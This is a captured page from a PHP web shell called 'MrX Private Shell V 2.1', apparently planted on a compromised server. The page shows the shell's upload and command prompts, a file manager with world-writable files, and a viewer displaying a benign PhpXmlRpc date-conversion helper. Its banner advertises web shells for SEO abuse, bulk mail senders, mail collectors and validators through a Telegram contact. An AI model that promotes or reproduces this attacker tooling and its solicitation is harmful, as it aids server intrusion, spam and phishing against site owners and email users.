__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

namespace PhpXmlRpc\Helper;

use PhpXmlRpc\PhpXmlRpc;

/**
 * Helps to convert timestamps to the xml-rpc date format.
 *
 * Feature creep -- add support for custom TZs
 */
class Date
{
    /**
     * Given a timestamp, return the corresponding ISO8601 encoded string.
     *
     * Really, timezones ought to be supported but the XML-RPC spec says:
     *
     * "Don't assume a timezone. It should be specified by the server in its documentation what assumptions it makes
     *  about timezones."
     *
     * This routine always encodes to local time unless $utc is set to 1, in which case UTC output is produced and an
     * adjustment for the local timezone's offset is made
     *
     * @param int|\DateTimeInterface $timet timestamp or datetime
     * @param bool|int $utc (0 or 1)
     * @return string
     */
    public static function iso8601Encode($timet, $utc = 0)
    {
        if (is_a($timet, 'DateTimeInterface') || is_a($timet, 'DateTime')) {
            $timet = $timet->getTimestamp();
        }
        if (!$utc) {
            $t = date('Ymd\TH:i:s', $timet);
        } else {
            $t = gmdate('Ymd\TH:i:s', $timet);
        }

        return $t;
    }

    /**
     * Given an ISO8601 date string, return a timestamp in the localtime, or UTC.
     *
     * @param string $idate
     * @param bool|int $utc either 0 (assume date is in local time) or 1 (assume date is in UTC)
     *
     * @return int (timestamp) 0 if the source string does not match the xml-rpc dateTime format
     */
    public static function iso8601Decode($idate, $utc = 0)
    {
        $t = 0;
        if (preg_match(PhpXmlRpc::$xmlrpc_datetime_format, $idate, $regs)) {
            if ($utc) {
                $t = gmmktime($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]);
            } else {
                $t = mktime($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]);
            }
        }

        return $t;
    }
}

Filemanager

Name Type Size Permission Actions
Charset.php File 18.17 KB 0777
Date.php File 1.92 KB 0777
Http.php File 13.51 KB 0777
Interop.php File 1.33 KB 0777
Logger.php File 3.31 KB 0777
XMLParser.php File 47.6 KB 0777
Filemanager